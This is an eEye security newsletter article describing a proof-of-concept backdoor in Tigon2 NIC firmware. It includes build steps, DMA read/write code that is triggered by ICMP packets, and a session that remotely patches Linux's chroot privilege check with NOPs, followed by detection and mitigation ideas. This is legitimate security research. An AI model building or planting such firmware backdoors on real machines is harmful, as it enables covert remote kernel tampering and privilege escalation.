On behalf of the eEye Research team, welcome to the first VICE publication for 2007! This publication is long overdue, but can be expected to be in your Inbox quarterly to keep you abreast on the latest low-level security research and incidents.

The featured article for this issue is from Ryoji Kanai, Software Engineer at eEye. When not working on cutting-edge product development, Ryoji is researching some pretty interesting realms of security. In this issue, Ryoji presents a NIC back door that is capable of some pretty interesting results for users of the Tigon NIC. And no, Tigon is not a Lion and a Tiger…that’s a Liger of course.

As usual, stay up to date on all security happenings at research.eeye.com. We have plenty of RSS feeds to help you sort through the daily noise and identify the most important issues for your network.

Enjoy!

~eEye Research

The Tigon2 is a Gigabyte Ethernet network interface chipset which was originally produced by Alteon Networks. NICs based on the Tigon2 are sold by Alteon, 3Com, Netgear and some other companies. It has two MIPS-like processors and also 2 DMA channels. Also, it supports hardware IP, TCP and UDP checksum and jumbo frames. The design of Tigon2 chipset is fully programmable and really flexible. Most importantly, the entire architecture is open [1][6]. You can get all of the official development materials without an NDA. They even released firmware source code for both the Tigon2 and original Tigon chipset.

When a packet arrives, the MAC (Media Access Controller) receives it and stores it to the memory in the NIC. Next, a DMA engine copies the packet to the host memory. When the host OS sends a packet, the device driver uses a DMA engine to copy the data from the host OS memory to NIC memory. The NIC then sends the data to the network. This means that the NIC firmware can directly read and write into the host’s memory. It's not just memory mapped I/O. The DMA engines in a NIC enable us to access the host OS memory without any host OS operations.

The first time I saw details about the Tigon2, I came up with the idea that it could be used to make a back door, remote gdb stub or remote sniffer in the firmware. In this paper, I will explain a way to develop such firmware programs and also the associated security risks.

Architecture

Before we begin with the overview, I highly recommend getting the original documentation on the Tigon2 chipset. Alteon Networks wrote documents covering every aspect of the chips [1][2]. This document contains all of the information necessary to write code for the on board processors. You can find it on the Internet. Additionally, general PCI and device driver knowledge is helpful.

MIPS processors including Tigon2 use the memory mapped I/O mechanism to communicate with I/O devices. This means that access to memory mapped I/O is an I/O access, not actual memory access. On the Tigon2, you can access DMA engines, the memory manager, MAC registers and some other I/O devices through the memory mapped I/O. For example, the producer pointer which is used as a command to start DMA transfer is in the memory mapped I/O area. It points to the address of a descriptor which contains the data buffer pointer, the host address you want to copy from or to, some flags, and data length. When you increment the producer pointer address, a DMA engine starts a DMA transfer. After that, The DMA engine increments the consumer pointer. The producer address is connected to the DMA controller. Therefore, the DMA engines can know when the pointer has changed. The following diagram describes the structure of the consumer and producer pointers:

Consumer & Producer Pointer



The descriptors contain an address. It specifies the destination or source host address for the DMA transfer. When DMA transfer starts, the DMA engine reads the address and copies data to the address of the host machine without using host CPUs. The address is a bus address. On PC architectures, a bus address is a physical address, so this can complicate attempts to tamper with host memory (because most pointers are virtual rather than physical addresses), although physical addresses may nevertheless be predictable. For instance, on Linux, the kernel is always placed into the same place every time due to the boot loading process. The boot loader loads the kernel image while the CPU is real mode. Finally, the kernel changes the CPU mode to protected mode. This makes it much easier to determine end state addresses on Linux.

Tigon2 is an event driven design. When a DMA is finished, a packet has arrived, or user sends a packet, an event is created and the event handler is called. You can hook your function in the event handler. In the event handlers, you can read and write packet data as you deem necessary. Additionally, you can also inject packets at will.

Build Cross Compile Environment

You can use the GCC and GNU binutils as a cross compiler environment to build a firmware. You will also need some driver source code. In addition to the Linux drivers we use here, Alteon networks released open drivers for Windows and Solaris. So, in theory, this can be done on those OSes. The reason you need driver source code is you have to upload your firmware into the NIC every time the machine boots up. In this paper, I’ll be focusing on the Linux environment to build the firmware and load it to the Tigon2 NIC via a driver.

If you don’t already have all the tools on your Linux machine, all of them can be found on the Internet. We will be needing GCC, GNU binutils and some patches [3][4]. First, we need the GNU make. If you are using the BSD or any other non-GNU make, use it to build the GNU make, or download a package of GNU make specific to your environment. In my testing, I’ve found that the BSD make doesn't work with the makefile in the open firmware kit. It seems that the makefile uses GNU make extensions.

Next, build the binutils with a Tigon2 special patch. Tigon2 is a MIPS based processor. According to the patch, it doesn't have some instructions such as floating point, multiply and divide instructions. And they added an alias mnemonic. Don't forget the "--target" option with the configuration as follows:

  $ ./configure \
              --prefix=/usr/local/alteon \
              --target=mips-alteon-elf

Finally, build gcc with a Tigon2 patch. I found a patch for gcc 3.2.1, but it doesn't work. I also found a gcc-2.95.2 patch and it works. I think the gcc-2.95.2 is safer. The following is my gcc compile note:

  $ setenv PATH /usr/local/alteon/bin:/usr/bin:/usr/sbin:/bin:/sbin:/usr/local/bin
  $ ./configure \
              --target=mips-alteon-elf \
              --prefix=/usr/local/alteon \
              --without-headers \
              --with-gnu-as \
              --with-gnu-ld
  $ make && su
  # make install

Now, we have a cross compile environment. Let's get the open firmware source and build it. There is also a patch for the open firmware to fix a gcc 2.95.2 bug. First, patch it. Then, you have to edit "openfw/src/nic/fw2/common/alt.tg1.gnu". You may need to change the tools paths. Next, compile it under the "openfw/src/nic/fw2/common/" directory with "-f Makefile.gnu" option. The executable ELF binary which is named "alt_fw2" should be created. And, the "genfw" perl script automatically converts it to the header file named "alt_fw2.h". The header file contains some defines and firmware binary data. Finally, you have to merge the file into the device driver code to build the driver. On Linux, the file you have to merge into is "/usr/src/linux/drivers/net/acenic_firmware.h". The following explains how to build the target header file from the source files.



Debug

You may want to use the internal debug features with your initial firmware. The open firmware kit has already defined a function called "trace" to store debug strings into the ring buffer in the NIC. Some drivers, for example the FreeBSD driver, have a system call to get the strings from the NIC. Linux doesn't have such a feature in the main source tree. However, the Arsenic project [5] made a Linux driver which has a debug system call in the similar to the functionality that FreeBSD has. The Arsenic driver is specifically for direct Ethernet message passing. Because it is doing much more than we want it to, I made a patch [7] to use only the debug features inside the Arsenic driver. Patch it to Linux driver source, build the driver and load it. When you load the driver, you may want to set a trace debug level. After loading the driver with the debug flag, Arsenic’s "trace_dump" program displays debug strings. The following is a sample insmod command and trace output:

  # insmod acenic.ko trace=0xFFFFFFFF

  # trace_dump eth2
  Trace buffer is 8192 bytes at 0x1ef70.
  CPU A PC=0x00c03fa0, state=0x00000014 : CPU B PC=0x00c0098c, state=0x00000004
        SP=0x00c001b4               :       SP=0xb401c000
  Trace pointer is at 0x1f770

  String   ID         Time       A          B          C          D

    wDmaD0 0x00077900 0x8824c7ca 0000000000 0x204e7000 0x001ba91c 0x00000008
    wDmaD1 0x00078000 0x8824c7cc 0x00020086 0x001ba916 0x00000010 0x00000078
  udpStats 0x00050800 0x88434c09 0000000000 0000000000 0000000000 0000000000
    QevtOk 0x00090400 0x88434c31 0x04000000 0x00000078 0x00000078 0000000000
   #wDmaCp 0x00077800 0x88434c3a 0x001ba980 0x001ba940 0x001ba920 0x00000009
    wDmaD0 0x00077900 0x88434c3c 0000000000 0x23006000 0x001a1f30 0x00000400
    wDmaD1 0x00078000 0x88434c3d 0x00020086 0x001ba936 0x00000008 0000000000
   #wDmaCp 0x00077800 0x88434c40 0x001ba980 0x001ba980 0x001ba940 0x0000000a
    wDmaD0 0x00077900 0x88434c42 0000000000 0x22e6c3c0 0x001a2788 0x00000008
    wDmaD1 0x00078000 0x88434c44 0x00020086 0x001ba956 0x00000004 0x00000079
   #wDmaCp 0x00077800 0x88434c47 0x001ba980 0x001ba980 0x001ba960 0x0000000b
    wDmaD0 0x00077900 0x88434c48 0000000000 0x204e7000 0x001ba97c 0x00000008
    wDmaD1 0x00078000 0x88434c4a 0x00020086 0x001ba976 0x00000010 0x00000079
  udpStats 0x00050800 0x8861d089 0000000000 0000000000 0000000000 0000000000
  ...

It is very useful to compile a firmware with "-DTRACE=1 -DTRACE_ALL=1" for debugging and better understanding of what’s going on. In the default setting, these two options are disabled, but I recommend turning them on.

About our Sample Program

I made some small programs [8] as a proof of concept. These enable us to read and write host OS memory via remote packets. It's a firmware patch and a client program. The communication protocol is ICMP based. When the command packet arrives at the NIC, h_mac_rx_comp_cksum() is called to move the received data into the host OS using DMA. First, I added the receive hook function there. If the packet is valid, and complies to our special protocol format, it starts a DMA transfer to read or write data according to the protocol command. The following are the functions to start DMA transfer.

  void dma_to_nic(tg_hostaddr_t *host_addr, char *buf, int len) {
         (*nicfp->q_dma_to_nic_stub)(*host_addr, (U32)buf, len, 
                                     TIGON_TYPE_MYRD, 
                                  0, nicfp->dma_to_nic_data_state);
  }

  void dma_to_host(tg_hostaddr_t *host_addr, char *buf, int len) {
         (*nicfp->q_dma_to_host_stub)(*host_addr, buf, len,
                                      TIGON_TYPE_MYWR, 
                                  0, nicfp->dma_to_host_data_state);
  }

dma_to_nic() is the function to read memory from the host OS and dma_to_host() writes data to host memory. TIGON_TYPE_{MYRD,MYWR} are transfer types which are hints for the DMA engines. If the protocol command is a memory read, the NIC has to send a reply packet with the memory read result. The place where I send the reply packet is in the h_dma_rd_assist_cksum() because that the function called when the DMA transfer is completed. The following is the simple packet send function. enq_mac_tx() function allocates a descriptor buffer and copies buf and len into the buffer. Then, it increments the DMA producer pointer to send the buffer to the network.

  void send_packet(char* buf, int len)
  {
      struct tg_mac_descr md;

      md.w0 = (U32)buf;
      md.w1 = (U32)len;

      enq_mac_tx(&md);
  }

The last part of this section is an example session of rewriting chroot(). chroot() is a system call which is restricted to super-user in all versions of UNIX. Due to the privilege check, normal users cannot call the function. In this session, I overwrote the actual privilege check instructions with the "nop" using packets from the remote host. The target system is Linux.

  tigon> chroot /bin/ ./ash.static
  chroot: cannot change root directory to /bin/: Operation not permitted

  tigon# gdb -q /usr/src/linux/vmlinux /proc/kcore 
  Using host libthread_db library "/lib/tls/libthread_db.so.1".
  Core was generated by `ro root=LABEL=/ rhgb quiet'.
  (gdb) l sys_chroot
  569     asmlinkage long sys_chroot(const char __user * filename)
  570     {
  571             struct nameidata nd;
  572             int error;
  573
  574             error = __user_walk(filename, 
  574                      LOOKUP_FOLLOW | LOOKUP_DIRECTORY | LOOKUP_NOALT, &nd);
  575             if (error)
  576                     goto out;
  577
  578             error = permission(nd.dentry->d_inode,MAY_EXEC,&nd);
  579             if (error)
  580                     goto dput_and_out;
  581
  582             error = -EPERM;
  583             if (!capable(CAP_SYS_CHROOT))
  584                     goto dput_and_out;
  (gdb) x/8i 0xc0176be5
  0xc0176be5 :     call   0xc01ec9e0 
  0xc0176bea :     test   %eax,%eax
  0xc0176bec :     je     0xc0176c10 
  0xc0176bee :     mov    $0xfffff000,%eax
  0xc0176bf3 :     mov    (%esp),%ecx
  0xc0176bf6 :     xor    %ebx,%ebx
  0xc0176bf8 :     and    %esp,%eax
  0xc0176bfa :     mov    (%eax),%eax

-- send Memory Write Command to the target host via the network. Nothing needs to be done directly on the target host.
Quit gdb to flush the memory cache on the target host and hit chroot again

  (gdb) q
  tigon# gdb -q /usr/src/linux/vmlinux /proc/kcore 
  Using host libthread_db library "/lib/tls/libthread_db.so.1".
  Core was generated by `ro root=LABEL=/ rhgb quiet'.
  (gdb) x/8i 0xc0176be5
  0xc0176be5 :     call   0xc01ec9e0 
  0xc0176bea :     test   %eax,%eax
  0xc0176bec :     nop    
  0xc0176bed :     nop    
  0xc0176bee :     mov    $0xfffff000,%eax
  0xc0176bf3 :     mov    (%esp),%ecx
  0xc0176bf6 :     xor    %ebx,%ebx
  0xc0176bf8 :     and    %esp,%eax
  (gdb) q
  tigon# exit
  tigon> id
  uid=1000(kanai) gid=100(users) groups=0(root),100(users)
  tigon> chroot /bin/ ./ash.static
  $ 

As you can see, the incoming packet overwrote the access check in chroot with NOP instructions, allowing us unrestricted access to chroot. This is a simplistic working example, but it shows the power of having remote read and write access to kernel memory.

Conclusion

In this article, I've shown the possibility of firmware backdoors. Many different types of backdoors and viruses can be created as firmware programs even if the firmware can only access physical memory. There are even advantages, such as the fact that a firewall (on the host OS) doesn't work with firmware backdoors, since the firewall is processing packets after the NIC has already had a chance to process them.

If Tigon2 had a kind of security chip to upload only vender-signed firmware, it could be more secure. But, this would add significantly to the cost of using this chipset in consumer products. The PC architecture could be considered to be a problem as well. Perhaps the new PC hardware security specs will help this [9]. I hope there is cool stuff on the Athlon64 platform too. Anyway, we can't rely on any hardware security support right now.

There is no good way to detect firmware backdoors so far. That being said, there are some ways that could detect them. With the tigon2 chipset, you have to upload the firmware again on each boot. It's currently possible to detect a device driver or a firmware upload program which contains bad firmware signatures or implement a method to load only vender signed drivers or firmware. Additionally, the host OS can access the NIC memory directly to check the running firmware.

References

[1] Gigabyte Ethernet/PCI Network Interface Card
Host/NIC Software Interface Definition
Alteon Networks, Inc.

[2] wpaul - FreeBSD developer
http://people.freebsd.org/~wpaul/Alteon/

[3] Linux tools for Alteon Tigon firmware development
http://alteon.shareable.org

[4] Alteon Tigon tools patches
http://www.osc.edu/~pw/tigon/

[5] Arsenic: User-accessible gigabit networking
http://www.cl.cam.ac.uk/Research/SRG/netos/arsenic/

[6] EMP: Zero-copy OS-bypass NIC-driven Gigabyte Ethernet Message Passing
http://www.osc.edu/~pw/emp/index.html

[7] Debug patch for Linux (port of Arsenic)
http://www.r89.org/tigon_files/acenic_debug.c.diff

[8] Sample source code
http://research.eeye.com/html/Tools/download/tigon.zip

[9] Trusted Computing Group
https://www.trustedcomputinggroup.org/

Source: Ryoji Kanai, Software Engineer, eEye Digital Security

The state of network security has evolved to use targeted attacks as the primary means of infiltration. This Department of State incident is a primary example of how a simple Word document can leave the castle’s back door unlatched and foster future exploitation. Obviously, keeping track of zero-day vulnerabilities and pro actively protecting from those vulnerabilities is strongly suggested.  More